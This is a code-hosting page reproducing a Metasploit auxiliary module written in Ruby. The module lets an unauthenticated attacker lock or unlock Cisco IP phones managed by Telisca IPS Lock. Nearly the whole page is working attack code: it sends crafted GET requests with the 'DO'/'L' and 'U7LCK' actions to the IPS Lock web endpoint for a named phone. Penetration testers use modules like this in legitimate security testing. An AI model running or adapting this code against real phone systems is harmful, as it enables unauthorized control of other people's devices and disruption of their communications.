Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/voip/telisca_ips_lock_control.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(update_info(info,10'Name' => 'Telisca IPS Lock Cisco IP Phone Control',11'Description' => %q{12This module allows an unauthenticated attacker to exercise the13"Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP14Phones. This module should be run in the VoIP VLAN, and requires15knowledge of the target phone's name (for example, SEP002497AB1D4B).1617Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.18},19'References' =>20[21# Publicly disclosed via Metasploit PR22'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470'23],24'Author' =>25[26'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',27'zirsalem'28],29'License' => MSF_LICENSE,30'DisclosureDate' => '2015-12-17',31'Actions' =>32[33['LOCK', 'Description' => 'To lock a phone'],34['UNLOCK', 'Description' => 'To unlock a phone']35],36'DefaultAction' => 'UNLOCK'37))3839register_options(40[41OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']),42OptString.new('PHONENAME', [true, 'The name of the target phone'])43])4445end4647def print_status(msg='')48super("#{peer} - #{msg}")49end5051def print_good(msg='')52super("#{peer} - #{msg}")53end5455def print_error(msg='')56super("#{peer} - #{msg}")57end5859# Returns the status of the listening port.60#61# @return [Boolean] TrueClass if port open, otherwise FalseClass.62def port_open?63begin64res = send_request_raw({'method' => 'GET', 'uri' => '/'})65return true if res66rescue ::Rex::ConnectionRefused67vprint_status("Connection refused")68rescue ::Rex::ConnectionError69vprint_error("Connection failed")70rescue ::OpenSSL::SSL::SSLError71vprint_error("SSL/TLS connection error")72end7374false75end7677# Locks a device.78#79# @param phone_name [String] Name of the phone used for the pn parameter.80#81# @return [void]82def lock(phone_name)83res = send_request_cgi({84'method' => 'GET',85'uri' => '/IPSPCFG/user/Default.aspx',86'headers' => {87'Connection' => 'keep-alive',88'Accept-Language' => 'en-US,en;q=0.5'89},90'vars_get' => {91'action' => 'DO',92'tg' => 'L',93'pn' => phone_name,94'dp' => '',95'gr' => '',96'gl' => ''97}98})99100if res && res.code == 200101if res.body.include?('Unlock') || res.body.include?('U7LCK')102print_good("The device #{phone_name} is already locked")103elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT')104print_good("Device #{phone_name} successfully locked")105end106elsif res107print_error("Unexpected response #{res.code}")108else109print_error('The connection timed out while trying to lock.')110end111end112113114# Unlocks a phone.115#116# @param phone_name [String] Name of the phone used for the pn parameter.117#118# @return [void]119def unlock(phone_name)120res = send_request_cgi({121'method' => 'GET',122'uri' => '/IPSPCFG/user/Default.aspx',123'headers' => {124'Connection' => 'keep-alive',125'Accept-Language' => 'en-US,en;q=0.5'126},127'vars_get' => {128'action' => 'U7LCK',129'pn' => phone_name,130'dp' => ''131}132})133134if res && res.code == 200135if res.body.include?('Unlock') || res.body.include?('U7LCK')136print_good("The device #{phone_name} is already locked")137elsif res.body.include?('unlocked') || res.body.include?('QUIT')138print_good("The device #{phone_name} successfully unlocked")139end140elsif res141print_error("Unexpected response #{res.code}")142else143print_error('The connection timed out while trying to unlock')144end145end146147148def run149unless port_open?150print_error('The web server is unreachable!')151return152end153154phone_name = datastore['PHONENAME']155case action.name156when 'LOCK'157lock(phone_name)158when 'UNLOCK'159unlock(phone_name)160end161end162end163164165